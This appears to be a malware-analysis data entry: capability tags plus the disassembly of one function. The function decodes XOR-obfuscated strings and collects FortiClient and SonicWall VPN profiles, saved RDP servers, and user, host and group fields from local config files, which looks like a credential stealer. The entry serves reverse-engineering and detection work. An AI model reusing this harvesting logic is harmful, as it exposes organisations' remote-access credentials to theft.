Function at 0x14000c1ac
Capabilities:
Check if file exists
Encode data using xor
Get file size
Query environment variable
Read file on windows

Disassembly:
push rbp
push rbx
push rsi
push rdi
push r14
lea rbp, [rsp - 0x640]
sub rsp, 0x740
mov rdi, rcx
mov dword [rsp + 0x40], 0x640030
mov ebx, 0x12
mov dword [rsp + 0x44], 0x7c0062
mov dword [rsp + 0x48], 0x280030
mov dword [rsp + 0x4c], 0x120069
lea ecx, [rbx - 2]
call fcn.140002534
lea r8, [rsp + 0x40]
mov rdx, rax
sub r8, rax
lea r9d, [rbx - 0xa]
movzx ecx, word [r8 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x14000c201
mov rdx, rax
mov rcx, rdi
call fcn.140001930
lea rcx, [rbp + 0x678]
call fcn.14000bcb4
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov rsi, 0xffffffff80000002
lea r8, [0x14000c8e8]
mov rcx, rsi
lea rdx, str.SoftwareFortinetFortiClientSslvpnTunnels
mov r9, rdi
call fcn.14000b72c
mov r14d, 0x2c
mov rcx, rdi
mov edx, r14d
call fcn.140001a5c
lea rdx, [0x14001c188]
mov rcx, rdi
call fcn.140001930
lea rcx, [rbp + 0x678]
call fcn.14000c078
mov rdx, rax
mov rcx, rdi
call fcn.140001930
lea r9, [rbp + 0x688]
mov rcx, rsi
lea r8, str.InstallDir
lea rdx, str.SoftwareSonicWallSSL_VPN_NetExtenderStandalone
call fcn.14000b830
test eax, eax
je 0x14000c3f2
lea ecx, [r14 - 0x18]
mov dword [rsp + 0x40], 0x57005c
mov dword [rsp + 0x44], 0x7e0071
mov dword [rsp + 0x48], 0x3c007b
mov dword [rsp + 0x4c], 0x6a0077
mov dword [rsp + 0x50], 0x120077
call fcn.140002534
lea r8, [rsp + 0x40]
mov rdx, rax
sub r8, rax
lea r9d, [r14 - 0x22]
movzx ecx, word [r8 + rdx]
xor cx, bx
mov word [rdx], cx
lea rdx, [rdx + 2]
sub r9, 1
jne 0x14000c2f4
mov rdx, qword [rbp + 0x688]
lea rcx, [rbp - 0x30]
mov r8, rax
call qword [sym.imp.SHLWAPI.dll_PathCombineW]
lea rcx, [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000c3e6
lea rcx, [rbp - 0x30]
call qword [sym.imp.SHLWAPI.dll_PathQuoteSpacesW]
lea rcx, [rbp + 0x678]
call fcn.14000c12c
mov rdx, rax
lea rcx, [rbp - 0x30]
call qword [sym.imp.KERNEL32.dll_lstrcatW]
lea rdx, [rbp + 0x680]
lea rcx, [rbp - 0x30]
call fcn.14000ccf0
lea rcx, [rsp + 0x60]
mov rbx, rax
call fcn.140008e10
lea r8, [0x14001c1a8]
mov rcx, rdi
lea rdx, [rsp + 0x60]
call fcn.140008828
test eax, eax
je 0x14000c3c9
lea rcx, [rsp + 0x60]
mov dword [rbp - 0x3c], 0x7530
call fcn.140008d6c
test al, al
je 0x14000c3bf
mov r8, rbx
lea rdx, [rsp + 0x60]
mov rcx, rdi
call fcn.140008fa8
test al, al
je 0x14000c3bf
lea rdx, [0x14001b470]
mov rcx, rdi
call fcn.140001930
lea rcx, [rsp + 0x60]
call fcn.140008c38
lea rcx, [rsp + 0x60]
call fcn.140008df0
mov edx, r14d
mov rcx, rdi
call fcn.140001a5c
mov rcx, rbx
call fcn.140002438
mov rcx, qword [rbp + 0x688]
call fcn.140002438
lea rdx, [0x14001be7c]
mov rcx, rdi
call fcn.140001930
lea rcx, [rbp + 0x678]
call fcn.14000bf20
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov r9, rdi
lea r8, [0x14000ca68]
lea rdx, str.SoftwareSonicWALLSSL_VPN_NetExtenderStandaloneProfiles
mov rcx, rsi
call fcn.14000b72c
mov edx, r14d
mov rcx, rdi
call fcn.140001a5c
lea rdx, [0x14001b6f0]
mov rcx, rdi
call fcn.140001930
lea rdx, [0x14001c1b0]
mov rcx, rdi
call fcn.140001930
lea rcx, [rbp + 0x678]
call fcn.14000bfb8
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov r8d, 0x104
lea rdx, [rbp + 0x220]
lea rcx, str.LOCALAPPDATA
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x103
ja 0x14000c729
lea rcx, [rbp + 0x678]
call fcn.14000bd50
mov rdx, rax
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x220]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000c729
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x220]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000c729
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, eax
mov ebx, eax
call fcn.140002460
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x678]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000c71b
mov r8d, dword [rbp + 0x678]
lea rcx, [rsp + 0x40]
mov rdx, r14
call fcn.14000b91c
lea rdx, str._user_:__
mov rcx, rdi
call fcn.140001930
lea rdx, str._DefaultUser_
lea rcx, [rsp + 0x40]
call fcn.14000ba58
mov esi, 0xfe
test rax, rax
jle 0x14000c5de
lea rdx, [rax + 0xd]
mov r8d, 1
lea rcx, [rsp + 0x40]
call fcn.14000ba8c
lea rdx, str.__DefaultUser_
lea rcx, [rsp + 0x40]
call fcn.14000ba58
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000c5de
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000b96c
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.14000762c
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.140001984
mov rcx, rbx
call fcn.140002438
lea rdx, str.____host_:__
mov rcx, rdi
call fcn.140001930
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.14000ba8c
lea rdx, str._DefaultHostName_
lea rcx, [rsp + 0x40]
call fcn.14000ba58
test rax, rax
jle 0x14000c675
lea rdx, [rax + 0x11]
mov r8d, 1
lea rcx, [rsp + 0x40]
call fcn.14000ba8c
lea rdx, str.__DefaultHostName_
lea rcx, [rsp + 0x40]
call fcn.14000ba58
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000c675
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000b96c
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.14000762c
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.140001984
mov rcx, rbx
call fcn.140002438
lea rdx, str.____group_:__
mov rcx, rdi
call fcn.140001930
xor r8d, r8d
lea rcx, [rsp + 0x40]
xor edx, edx
call fcn.14000ba8c
lea rdx, str._DefaultGroup_
lea rcx, [rsp + 0x40]
call fcn.14000ba58
test rax, rax
jle 0x14000c70c
lea rdx, [rax + 0xe]
mov r8d, 1
lea rcx, [rsp + 0x40]
call fcn.14000ba8c
lea rdx, str.__DefaultGroup_
lea rcx, [rsp + 0x40]
call fcn.14000ba58
lea rcx, [rax - 1]
cmp rcx, rsi
ja 0x14000c70c
mov r8, rax
lea rdx, [rbp - 0x30]
lea rcx, [rsp + 0x40]
call fcn.14000b96c
lea rcx, [rbp - 0x30]
mov byte [rbp + rax - 0x30], 0
call fcn.14000762c
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.140001984
mov rcx, rbx
call fcn.140002438
lea rdx, [0x14001b6d8]
mov rcx, rdi
call fcn.140001930
mov rcx, r14
call fcn.140002438
mov r14d, 0x2c
lea rdx, [0x14001c2a0]
mov rcx, rdi
call fcn.140001930
lea rcx, [rbp + 0x678]
call fcn.14000bb9c
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov r9, rdi
lea r8, [0x14000c9a8]
lea rdx, str.SoftwareMicrosoftTerminal_Server_ClientServers
mov rcx, 0xffffffff80000001
call fcn.14000b72c
mov edx, r14d
mov rcx, rdi
call fcn.140001a5c
lea rdx, [0x14001c188]
mov rcx, rdi
call fcn.140001930
lea rcx, [rbp + 0x678]
call fcn.14000bea0
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov r8d, 0x104
lea rdx, [rbp + 0x430]
lea rcx, str.ProgramData
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
dec eax
cmp eax, 0x103
ja 0x14000c8ba
lea rcx, [rbp + 0x678]
call fcn.14000baa0
mov rdx, rax
lea rcx, [rbp + 0x430]
call qword [sym.imp.SHLWAPI.dll_PathAppendW]
lea rcx, [rbp + 0x430]
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x14000c8ba
and qword [rsp + 0x30], 0
lea rcx, [rbp + 0x430]
and dword [rsp + 0x28], 0
xor r9d, r9d
mov edx, 0x80000000
mov dword [rsp + 0x20], 3
lea r8d, [r9 + 3]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x14000c8ba
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov edx, 1
mov ebx, eax
lea ecx, [rax + 1]
call fcn.14000240c
and qword [rsp + 0x20], 0
lea r9, [rbp + 0x680]
mov r8d, ebx
mov rdx, rax
mov rcx, rsi
mov r14, rax
call qword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x14000c8ba
mov ecx, dword [rbp + 0x680]
mov byte [rcx + r14], 0
lea rcx, [rbp + 0x678]
call fcn.14000bc28
mov rdx, rax
mov rcx, rdi
call fcn.140001930
mov rcx, r14
call fcn.14000762c
mov rdx, rax
mov rcx, rdi
mov rbx, rax
call fcn.140001984
lea rdx, [0x14001b6d8]
mov rcx, rdi
call fcn.140001930
mov rcx, rbx
call fcn.140002438
lea rdx, [0x14001b474]
mov rcx, rdi
call fcn.140001930
lea rdx, [0x14001b474]
mov rcx, rdi
call fcn.140001930
add rsp, 0x740
pop r14
pop rdi
pop rsi
pop rbx
pop rbp
ret